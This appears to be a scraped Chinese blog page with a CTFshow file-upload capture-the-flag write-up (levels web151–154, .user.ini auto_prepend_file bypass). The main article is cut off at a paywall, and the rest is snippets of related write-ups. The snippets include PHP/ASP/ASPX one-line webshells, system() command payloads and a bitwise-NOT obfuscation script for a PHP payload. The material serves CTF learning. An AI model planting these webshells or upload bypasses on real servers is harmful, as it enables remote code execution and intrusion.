CTFshow-文件上传web151-160

最新推荐文章于 2025-03-08 19:06:02 发布
最新推荐文章于 2025-03-08 19:06:02 发布
阅读量552 收藏 3
点赞数 4
分类专栏： # WEB 文章标签： php CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_52579508/article/details/141130976
版权

web151 改后缀

image.png
提示前端校验不可靠
抓包改 后缀
image.png
image.png
webshell连接
image.png
获取flag

web152 改后缀

image.png

web153 只能下载，上传.user.ini 绕过

过滤了php文件 ，上传了几个 php5，phtml都只能下载
上传第一步，
上传一个 .user.ini
image.png
内容为

auto_prepend_file=1.png

auto_prepend_file 是PHP中的一个配置选项，它指定了一个脚本文件名，这个文件将在PHP处理任何请求之前自动包含（执行
简单来说 ，就是每次执行php文件前，都会去包含这个1.png文件 ，去执行他，相当于文件包含

上传第二步
上传1.png
image.png
访问upload/index.php
image.png
访问 获取flag

web154 上传.user.ini ，过滤内容php 绕过

后端不能单二校验

根据上一步操作
先上传了 .user.ini 成功上传
内容为

 auto_prepend_file=1.txt

再上传
内容为


                

                
                
        

    

  


        

            

                    
                      最低0.47元/天 解锁文章
                        
                    
            

        


    



                



	

		

			

				
					
CTFshow 文件上传 web160

				
			

			

				

					Kradress的博客
				

				

					02-15
					
					669
					
				

			

		

		

			
				
目录思路总结

思路

直接在burp里面改target和host的值,或者在本地发包


成功上传.user.ini
auto_prepend_file=shell.png

继续用取反来解
取反脚本
$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".bin2hex(~$a[$i]);
}
echo ")"

			
		

	



                

            
              



	

		

			

				
					
CTFshow-文件上传web161-170

				
			

			

				

					qq_52579508的博客
				

				

					08-12
					
					356
					
				

			

		

		

			
				
一开始发现不管输入什么都不行 ，添加了GIF头成功通过上传校验第二步上传 图片，包含了日志的文件 进行解析第三步访问  /upload 目录会解析 日志文件添加user-agent 头里面 添加一句话第四步 连接shell 获取flag。

			
		

	



              


  
              

                


	

		

			

				
					
CTFSHOW web160 文件上传

				
			

			

				

					Mirror_iu的博客
				

				

					07-26
					
					1262
					
				

			

		

		

			
				
CTFSHOW web160详解

			
		

	





	

		

			

				
					
ctfshow 文件上传 web151 - web161

					
最新发布

				
			

			

				

					2301_78931332的博客
				

				

					03-08
					
					996
					
				

			

		

		

			
				
ctfshow web151-161 文件上传

			
		

	



		

			
		



	

		

			

				
					
ctfshow文件上传

				
			

			

				

					njh18790816639的博客
				

				

					04-23
					
					911
					
				

			

		

		

			
				
web151(前端限制)
这里需要上传图片木马！所以我们需要先制作一张图片木马！
php的一句话木马： <?php @eval($_POST['pass']);?>
asp的一句话是：   <%eval request ("pass")%>
aspx的一句话是：  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

这里是比较常用的一句话木马！
copy 1.png/b

			
		

	





	

		

			

				
					
CTFSHOW系列-web151(文件上传-js前端验证)

				
			

			

				

					SuperherRo的博客
				

				

					12-07
					
					722
					
				

			

		

		

			
				
CTFSHOW系列解题思路

			
		

	





	

		

			

				
					
ctfshow—web151-160

				
			

			

				

					akxnxbshai的博客
				

				

					02-04
					
					2002
					
				

			

		

		

			
				
目录

Web 151-152

Web 153

Web 154

Web 155

Web 156

Web 157-159

Web 160

Web 151-152

直接上传文件，然后抓包改后缀

再用蚁剑连一下，找到flag即可



Web 153

php文件无法上传。

发现服务器是nginx，考点是上传.user.ini配置文件，upload文件夹自带一个index.php，使其预加载木马

先后上传文件.user.ini和1.txt(注意抓包改名称)





两个上传后访问/uplo

			
		

	





	

		

			

				
					
CTFshow 文件上传 Web151-170复现笔记（保姆级复现

				
			

			

				

					2401_83728643的博客
				

				

					12-31
					
					1531
					
				

			

		

		

			
				
ctfshow文件上传复现保姆级笔记

			
		

	





	

		

			

				
					
ctfshow-VIP题目-Web-详细解题思路

				
			

			

				

					01-27
				

			

		

		

			
				
CTFSHOW-VIP题目-Web-详细解题思路  本文档总结了CTFSHOW-VIP题目-Web的详细解题思路，涵盖了多个Web安全领域的知识点，包括WP源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、源码压缩包泄露、版本控制...

			
		

	





	

		

			

				
					
CTFshow之文件上传web入门151关-161关解密。包教包会！！！！

				
			

			

				

					2301_77578012的博客
				

				

					05-23
					
					1534
					
				

			

		

		

			
				
当网站进行扫描时，会将.user.ini文件指向路径内容包含在首页代码处（如index.php、index.html等），使用参数auto_prepend_file（包含至首页文件头部）和auto_append_file（包含在首页文件尾部）进行配置。发送一句话木马，修改content-type值为：image/png，此处注意一下，我直接上传.php文件发现无法通过，定睛一看才发现前端验证还没关，汗颜！上传1.png的木马。2.上传.user.ini文件（使用bp中repaeater重发器功能进行上传）

			
		

	





	

		

			

				
					
CTFshow 文件上传 web151

				
			

			

				

					Kradress的博客
				

				

					02-13
					
					272
					
				

			

		

		

			
				
目录源码思路题解总结

源码
<script>
layui.use('upload', function(){
  var upload = layui.upload;
   
  //执行实例
  var uploadInst = upload.render({
    elem: '#upload' //绑定元素
    ,url: '/upload/' //上传接口
    ,done: function(res){
    	if(res.code==0){
    		$("#resu

			
		

	





	

		

			

				
					
ctfshow文件上传web151

				
			

			

				

					m0_62584974的博客
				

				

					04-05
					
					1186
					
				

			

		

		

			
				
2022/4/5

先写一个一句话木马文件




<?php

eval($_POST[1]);
?>





试着上传php木马文件



上传失败

查看源码发现只能上传png文件





把它改成php



上传我们刚刚写的木马文件



访问我们刚刚上传的文件



利用Hackbar用post的方式提交


1=system("ls /");



没有发现flag的文件

查看上一层的目录用post的形式提交


1=system("ls ../");



发现...

			
		

	





	

		

			

				
					
ctfshow [web] 文件上传 151--155

				
			

			

				

					weixin_68906365的博客
				

				

					02-18
					
					569
					
				

			

		

		

			
				
ctfshow文件上传151--155

			
		

	





	

		

			

				
					
ctfshow-web151,web152(文件上传)

				
			

			

				

					m0_62094846的博客
				

				

					01-17
					
					2207
					
				

			

		

		

			
				
web151



这题如果关闭js文件就无法上传，无法通过绕过前台校验的方式进行

就上传png文件抓包后改成php



web152

上传png文件抓包后改成php


			
		

	





	

		

			

				
					
ctfshow-web入门-文件上传（web151-web160）

				
			

			

				

					Welcome To Myon'Blog !
				

				

					07-07
					
					2130
					
				

			

		

		

			
				
试了下前端只能传 png 后缀的将一句话木马改成 png 后缀，上传后用 burpsuite 抓包绕过前端检测后，改回 php 后缀，发包拿到 flag：ctfshow{e3bd0332-4d5f-4255-941f-a2e6095c4f17}我们还可以直接改它前端验证的代码：原本只支持上传 png 后缀的文件我们加一个 php 后缀进去，即可直接上传 php 后缀的文件。

			
		

	





	

		

			

				
					
CTFshow_Web_文件上传——web151~web170

				
			

			

				

					Ho1aAs‘s Blog
				

				

					04-26
					
					2730
					
				

			

		

		

			
				
文章目录工具题解Web 151~152Web 153Web 154Web 155Web 156Web 157~158Web 159Web 160Web 161Web 162Web 163Web 164Web 165Web 166Web 167Web 168~170完
工具

Burpsuite
php

题解
Web 151~152
页面上，伪装成jpg的一句话木马无法上传，提示前后端验证
抓包，修改filename为xxx.php，MIME类型image/png
读取flag直接用通配符
# 151.ph

			
		

	





	

		

			

				
					
Ctfshow web入门 PHP特性篇 web89-web151 全

				
			

			

				

					Jay17的博客
				

				

					07-10
					
					2414
					
				

			

		

		

			
				
Ctfshow web入门 PHP特性篇 web89-web151  全
web入门 PHP特性篇的wp都一把梭哈在这里啦~
有点多，师傅们可以收藏下来慢慢看，写的应该挺全面的叭.....
有错误敬请斧正！

			
		

	





	

		

			

				
					
【ctfshow】文件上传web151-170wp

				
			

			

				

					weixin_51614272的博客
				

				

					02-26
					
					2765
					
				

			

		

		

			
				
文件上传web151-170web1511.编写一句话木马上传2.修改前端验证3.在蚁剑上找flagweb1521.修改前端验证2.burp抓包后修改MIME3.在蚁剑上找flagweb1531.修改前端验证2.上传ini配置文件3.上传1.txt文件4.在蚁剑上找flagweb154 web155 web156 web157 web1581.修改前端验证2.上传ini配置文件3.上传1.txt文件4.在蚁剑上找flagweb159日志包含漏洞web160
web151
1.编写一句话木马上传

发现前端有

			
		

	





	

		

			

				
					
CTFshow之web151~160---文件上传（上）

				
			

			

				

					金 帛的博客
				

				

					06-02
					
					3023
					
				

			

		

		

			
				
ctfshow的wp

			
		

	





	

		

			

				
					
ctfshow-web-web红包题

				
			

			

				

					07-14
				

			

		

		

			
				
ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。  首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，...

			
		

	



              




          




        



    





    



      

      

        
      

      





	

		评论	
	

	
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值